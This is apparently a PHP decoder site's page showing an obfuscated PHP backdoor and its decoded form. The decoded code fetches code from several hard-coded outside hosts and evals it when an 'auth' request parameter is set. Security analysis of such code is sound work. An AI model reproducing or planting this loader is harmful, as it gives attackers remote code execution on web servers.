Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $gs_falwo = array("eNqNVQtzmloQ/ivUcapMbMLh","oVLLndq8U/XWxMRHmnEQETEo","DuArj/9+d/c..
Decoded Output download
if (!function_exists('osw2')) {function osw2($i){$a=Array('T' .'W96aW' .'xs' .'YS81' .'Lj' .'AgKFd' .'pbmRvd3MgT' .'lQgMTAuM' .'DsgV2luNj' .'Q7I' .'Hg2N' .'CkgQXBw' .'bG' .'VXZWJL' .'a' .'XQv' .'NTM3L' .'jM' .'2I' .'ChL' .'S' .'FR' .'NT' .'CwgbG' .'lrZSB' .'HZWN' .'r' .'bykg' .'Q2' .'hyb21' .'lLzU1LjAuMjg4M' .'y4' .'4NyB' .'TYWZhcmk' .'vNTM3LjM2','' .'c2FmZV9tb2Rl','b3' .'B' .'lbl9iYXNlZG' .'ly','' .'aH' .'R0cDovLw==','','Iy' .'8j','L' .'w=' .'=','','','Lw' .'=' .'=','Lw' .'=' .'=','QWN' .'jZXB0LUxhbmd' .'1YWdlO' .'iBl' .'bi11cy' .'w' .'gZW47cT0w' .'Lj' .'UwDQ' .'o=','Q2' .'9ubm' .'Vj' .'dGl' .'vb' .'j' .'o' .'gQ2xvc' .'2UN' .'Cg0K','','DQoNCg' .'==','' .'Cg==','PGJyIC' .'8+','','' .'L' .'0xvY' .'2F0aW9uXDov','TG9jYX' .'R' .'pb246IA==','DQ=' .'=','D' .'QoNCg==','','JiM3' .'NiYj' .'MTExJiM5O' .'SY' .'jO' .'TcmIzExNi' .'Y' .'jMTA1JiM' .'xMTEmIzE' .'x' .'MCY' .'jNTg' .'=','TG9jYXRpb24' .'6','YWxsb3d' .'f' .'dXJ' .'s' .'X2ZvcGVu','MQ==','Y' .'XV0aA' .'==','aHR0cDo' .'vL25ld' .'G5' .'ld' .'DQ' .'0Lm5ldC9z','aHR0cDovL3N' .'pbWJl' .'cnN' .'hLmNvbS' .'9' .'zLn' .'R4dA==','aH' .'R0cD' .'ovL' .'21pY3dhc' .'i5' .'jb20vY29' .'u' .'dGVudC50' .'eHQ=','aHR0cDovL' .'29k' .'aW50YXJhLm' .'NvbS9z','YmF' .'zZQ==','' .'NjQ=','X2Rl','' .'Y29k','ZQ=' .'=');return base64_decode($a[$i]);} if(!function_exists('cc2')){function cc2($_0){$_1=array(osw2(0));if(function_exists('curl_init')&& function_exists('curl_exec')){$_2=$_1[rand(round(0),count($_1)-round(0+1))];$_3=curl_init();curl_setopt($_3,10002,$_0);curl_setopt($_3,42,round(0));curl_setopt($_3,13,round(0+6+6+6+6+6));curl_setopt($_3,19913,round(0+0.2+0.2+0.2+0.2+0.2));curl_setopt($_3,10018,$_2);if(!(@ini_get(osw2(1))||@ini_get(osw2(2)))){@curl_setopt($_3,52,round(0+0.2+0.2+0.2+0.2+0.2));}@curl_setopt($_3,68,2);$_4=curl_exec($_3);curl_close($_3);if($_4 !== false){return $_4;}}else if(function_exists('fsockopen')){global $_5;$_6=$_1[rand(round(0),count($_1)-round(0+0.25+0.25+0.25+0.25))];$_0=str_replace(osw2(3),osw2(4),$_0);if(preg_match(osw2(5),"$_0")){$_7=$_0;$_0=@explode(osw2(6),$_0);$_0=$_0[round(0)];$_7=str_replace($_0,osw2(7),$_7);if(!$_7 || $_7 == osw2(8)){$_7=osw2(9);}$_8=gethostbyname($_0);}else{$_8=gethostbyname($_0);$_7=osw2(10);}$_9=fsockopen($_8,round(0+20+20+20+20),$_10,$_11,round(0+2+2+2+2+2));stream_set_timeout($_9,round(0+10));if($_9){$_12="GET $_7 HTTP/1.0
";$_12 .="Host: $_0
";$_12 .="Referer: http://$_0$_7
";$_12 .= osw2(11);$_12 .="User-Agent: $_6
";$_12 .= osw2(12);$_13=osw2(13);fputs($_9,$_12);while(!feof($_9)){$_13 .= fgets($_9,4096);}fclose($_9);$_13=@explode(osw2(14),$_13,round(0+2));$_14=$_13[round(0)];if($_5){$_14="$_5<br /><br />
$_14";}$_14=str_replace(osw2(15),osw2(16),$_14);if($_13[round(0+0.25+0.25+0.25+0.25)]){$_15=$_13[round(0+0.2+0.2+0.2+0.2+0.2)];}else{$_15=osw2(17);}if($_15){$_13=$_15;}else{$_13=$_14;}if(preg_match(osw2(18),"$_14")){$_0=@explode(osw2(19),$_14);$_0=$_0[round(0+0.5+0.5)];$_0=@explode(osw2(20),$_0);$_0=$_0[round(0)];$_5=str_replace(osw2(21),osw2(22),$_14);$_16=osw2(23);$_5=str_replace(osw2(24),$_16,$_5);return cc2($_0);}else{return $_13;}}}else if(ini_get(osw2(25))== osw2(26)){$_4=file_get_contents("http://$_0");if($_4 !== false){return $_4;}}}}if(isset($_REQUEST[osw2(27)])){$_17=array(osw2(28),osw2(29),osw2(30),osw2(31));shuffle($_17);for($_18=round(0);$_18<count($_17);$_18++){$_19=osw2(32) .osw2(33) .osw2(34) .osw2(35) .osw2(36);$_20=cc2($_17[$_18]);if(strlen($_20)== round(0+31116)){eval($_19($_20));exit;}}}}
Did this file decode correctly?
Original Code
<?php $gs_falwo = array("eNqNVQtzmloQ/ivUcapMbMLh","oVLLndq8U/XWxMRHmnEQETEo","DuArj/9+d/cAJsZO75gcln3v","t7sHwR0J+U+jxcyKXH/Wt9du","GIX5nB+u5JwoCs+JREBOPuuK","z1nTqAaBucnnWjnhMNfWi2Yb","iXWIZ/emzPBZm+BZdX6eDZGY","D6bXy6FSd8jGazr1VnVRR/ok","dO5kb9Eg/WbpEh8XjtzA5/Gj","0+z8WCE5OMfzrtNrX9WQMvHo","NJf4aLTqCjEn5FEmH8djYt3g","cXbN1Yi/crgvL+jd/KBovTZF","CyjO5tGhTGQ8x5uBTOV4tadb","VptAzhNHpSgbFU+1sSEfrW67","N7amj0gvKZ9JXc4VcvhuyWfT","3p0eDeRrD1gDBZlk5Q083e12","Gl6PZ7SJLcwLPK8l68Rf1laG","gexC7nKD3PIESCptZeAZC5G5","4u8xc+e1yYuc9Do/pNrtejyY","UmNYtz30/kXK/eERAC5jFkUi","e6fXVktWS1ptm3q7Omni0ye3","hJO+GEypP6QwPCdPywEFJFVy","1ZTXS4s6dMvb60g/eeonTb9x","TLjzYklI5K/zq83lMRV+EFeK","ieAhrZdd8nYmmW190QGwQNw6","1yfdDuHHB09Wi5dV8nXSTNE4","oR5j0ATdK7dOjWm4XUq53jpd","A08jbG4o0IToljW9fDpdN1wa","dz52rSoDXdoCsEM50eTnmOs0","Wk4SnKd4jakhqwisbnsdDhTq","yIgg7Fzhg1aqI/eW1vndAtTq","TUqXPHbuJLOaQmZe0LgQ7jVZ","88jVuUZjRTTvmVSbguxYf9qa","LGtKgyPVvqK+WTN6H9emjeWA","9kfH46k2I1TVYTWOmAwpdXhJ","PZHZvKsMx9Rll6JPBrK07Mrk","YsGn424xPNYkpO2LpvE2E3Kh","0xaZbU3qdq4gC+oKZEJJd6dn","lEyvmU5KY0JOOny9qCvoo5Dr","Jf0WK4EdLYKZMDBDu6j2h7bl","D+181rzPug9i5VVwR3vuQMvC","K3B7A8J7PtuX4AbsM8OkK5Au","RUkUK+Dgo/0i8PruzI1y4ufP","wn6xvbYtDJLtywa4vQ/M2TAf","+As4JbFgARFBTCZ+iXkHTBQf","Ktm+YqTe82KF6NCO/DlqKwUm","SZJcwFw/iFS5kLjfY6ckwoNi","8tunputvNKVDefdf3JsSK0NK","MmH1Kf8dUu87dsQhhKpeXt6z","wAng8n3Xjyb/JfDrB5NiuQBR","s33VSCFHfpyj5fmhzd8hMdAS","PhmGMDK90Baf47EBbuX11QaW","sK/Ro9C3Hv25PcNOOp4/MD0w","0SBk8f81FTLXdg7eZskIo6Af","2HPPtGyOiyIW6KmKvMGQ0Dyw","nf7UjKwxV9HEQgZkGZqrEqQg","kavv9nru4dyTUjG2Rwn83yf5","YdjSu7Ag5SFLaFLiDQRCeHkR","8AFwkbgcx6MXHTqR7ZcN6OfY","D6PBZmZOyRXwEcjnPwhTB0wi","D7qRogsK5bT58vYPs2ISHmwr","Tn4wEVCLbU5xIvqRO7X9BaKv","p6os3l/g0WrLRub8tEWVXbRa","v47YofQ7+D3LVFAmHBqZC0j5","K8h32Nf2yA7s4KswjqL516Mj","UAAf73Q4ToyJqdFtaAdfqo49","I4/Ffdo0u0yJUYExHc0XMHVY","AiqKldXY9Wy4v2yfF0FVKOhg","BABzTVXSi4DnKJl2PXb6fiYY","DdWb3Ub4gKHiGCtvRoTg0iiQ","asCsad8GgXD0Dz9/z5Cdwe6B","9MMAMy2eYEYjCDG5u22Avfvw","QNE0Y1fxwxXwkA4YaPNAMLOv","PAbPWUEv2laP3lXS2d0lVqZl","gnoI190tYnpSw84eQSqYuBav","8XsrPrN/WD7tI2QyiyGT5W04","VuTVyYr4ByvezWIBW5V8AZOP","WFx8esExBW649Ip7fxPDZZTs","uFwkGFRjBDOHKn3Ln0UwvmE+","s537zF/v0lfE2g1hJ0Ht+rR5","e3rTuucRStBq6lLp7UdWLicQ","6DGhSAnBcMnHi9HIw9HGbo/8","AKmykQCLeJW/pVdviTMODiiQ","zoFUZFE45JSSUmpKaSlVRGtZ","MjiWrHSPvh6oZmiCRzcVtBhK","T4ZBYYwhcvbS9NBE5xpiBT4h","EcEh/Af8DMPe");preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\x69\x6D\x70\x6C\x6F\x64\x65\x28\x22\x22\x2C\x24\x67\x73\x5F\x66\x61\x6C\x77\x6F\x29\x29\x29\x29\x3B",".");?>
Function Calls
| implode | 2 |
| gzuncompress | 2 |
| preg_replace | 1 |
| base64_decode | 2 |
Stats
| MD5 | a9933db21487a0d61258ae3c576a8fd0 |
| Eval Count | 3 |
| Decode Time | 97 ms |